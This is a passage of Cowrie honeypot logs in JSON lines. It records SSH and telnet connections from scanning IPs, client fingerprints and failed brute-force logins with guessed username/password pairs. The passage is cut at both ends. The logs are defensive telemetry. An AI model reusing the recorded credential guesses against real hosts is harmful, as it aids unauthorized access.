\\xee\\x8b[\\x89\\xdb\\x1c\\xda\\xf9\\xa6\\r\\x82<\\xbf\\xc5\\x7f\\xb0\\xdd\\\\\\xbf\\xa4\\xedqKZ\\xa1\\xac\\xb3\\xf9$\\xab\\xb5s\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:13:46.520491Z","src_ip":"173.208.188.210","session":"14759863a517","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:13:46.698950Z","src_ip":"91.92.40.36","session":"7dff716da3db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.5","message":"Connection lost after 6.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:13:46.931005Z","src_ip":"45.78.204.254","session":"d6432b90fd1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:13:47.111851Z","src_ip":"160.187.180.146","session":"40a885ad7b9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:13:47.184778Z","src_ip":"103.27.238.116","session":"1cc7fd856af9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":47676,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f45f53426cd","protocol":"ssh","message":"New connection: 91.92.40.36:47676 (10.17.0.5:22) [session: 6f45f53426cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:13:51.790902Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:13:52.359575Z","src_ip":"91.92.40.36","session":"6f45f53426cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:13:53.729198Z","src_ip":"91.92.40.36","session":"6f45f53426cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.17.146.173","src_port":37426,"dst_ip":"159.203.135.109","dst_port":22,"session":"6c0e3ee380ab","protocol":"ssh","message":"New connection: 201.17.146.173:37426 (159.203.135.109:22) [session: 6c0e3ee380ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:13:55.879129Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:13:55.883543Z","src_ip":"201.17.146.173","session":"6c0e3ee380ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"73.36.177.174","src_port":58662,"dst_ip":"10.17.0.5","dst_port":22,"session":"5b9a0b65d3d0","protocol":"ssh","message":"New connection: 73.36.177.174:58662 (10.17.0.5:22) [session: 5b9a0b65d3d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:13:56.031088Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:13:56.039626Z","src_ip":"73.36.177.174","session":"5b9a0b65d3d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:13:56.046409Z","src_ip":"201.17.146.173","session":"6c0e3ee380ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:13:56.084696Z","src_ip":"73.36.177.174","session":"5b9a0b65d3d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"admin@2024","message":"login attempt [user/admin@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:13:56.309333Z","src_ip":"73.36.177.174","session":"5b9a0b65d3d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgre","message":"login attempt [postgres/postgre] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:13:56.720906Z","src_ip":"201.17.146.173","session":"6c0e3ee380ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:13:57.356472Z","src_ip":"73.36.177.174","session":"5b9a0b65d3d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"modzmodz","message":"login attempt [user1/modzmodz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:13:57.819512Z","src_ip":"91.92.40.36","session":"6f45f53426cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:13:57.885220Z","src_ip":"201.17.146.173","session":"6c0e3ee380ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":64378,"dst_ip":"10.17.0.5","dst_port":22,"session":"370ffa85e79f","protocol":"ssh","message":"New connection: 91.92.40.36:64378 (10.17.0.5:22) [session: 370ffa85e79f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:13:58.187243Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:13:58.820242Z","src_ip":"91.92.40.36","session":"370ffa85e79f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:13:58.823557Z","src_ip":"91.92.40.36","session":"370ffa85e79f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.4","message":"Connection lost after 8.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:14:00.236915Z","src_ip":"91.92.40.36","session":"6f45f53426cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"ch4ng3m3","message":"login attempt [user1/ch4ng3m3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:14:01.651452Z","src_ip":"91.92.40.36","session":"370ffa85e79f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"30.7","message":"Connection lost after 30.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:14:01.724749Z","src_ip":"173.208.188.210","session":"14759863a517","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:14:02.960248Z","src_ip":"91.92.40.36","session":"370ffa85e79f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.136.214.177","src_port":44088,"dst_ip":"10.17.0.5","dst_port":22,"session":"20f238257a1e","protocol":"ssh","message":"New connection: 150.136.214.177:44088 (10.17.0.5:22) [session: 20f238257a1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:14:04.093370Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:14:04.097800Z","src_ip":"150.136.214.177","session":"20f238257a1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"671ac49b8bd65b9e8ff02a3e690f0fd3","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-512,hmac-sha2-256;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-512","hmac-sha2-256"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 671ac49b8bd65b9e8ff02a3e690f0fd3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:14:04.124920Z","src_ip":"150.136.214.177","session":"20f238257a1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"1111","message":"login attempt [git/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:14:04.264733Z","src_ip":"150.136.214.177","session":"20f238257a1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":52796,"dst_ip":"159.203.135.109","dst_port":23,"session":"0f6223d08357","protocol":"telnet","message":"New connection: 107.6.151.170:52796 (159.203.135.109:23) [session: 0f6223d08357]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:14:05.082097Z"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:14:05.295610Z","src_ip":"150.136.214.177","session":"20f238257a1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":57302,"dst_ip":"10.17.0.5","dst_port":22,"session":"4683f7fbc3ce","protocol":"ssh","message":"New connection: 91.92.40.36:57302 (10.17.0.5:22) [session: 4683f7fbc3ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:14:05.947895Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:14:06.589913Z","src_ip":"91.92.40.36","session":"4683f7fbc3ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:14:06.593296Z","src_ip":"91.92.40.36","session":"4683f7fbc3ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0000","message":"login attempt [root/0000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:14:08.327479Z","src_ip":"91.92.40.36","session":"4683f7fbc3ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.3458220958709717,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:14:08.427786Z","src_ip":"107.6.151.170","session":"0f6223d08357","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:14:10.114586Z","src_ip":"91.92.40.36","session":"4683f7fbc3ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":38000,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c3451d48a63","protocol":"ssh","message":"New connection: 27.71.230.31:38000 (10.17.0.5:22) [session: 2c3451d48a63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:14:12.336868Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:14:12.351300Z","src_ip":"27.71.230.31","session":"2c3451d48a63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:14:12.592961Z","src_ip":"27.71.230.31","session":"2c3451d48a63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":57372,"dst_ip":"10.17.0.5","dst_port":22,"session":"399ebf70287f","protocol":"ssh","message":"New connection: 91.92.40.36:57372 (10.17.0.5:22) [session: 399ebf70287f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:14:13.616414Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:14:14.153676Z","src_ip":"91.92.40.36","session":"399ebf70287f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-c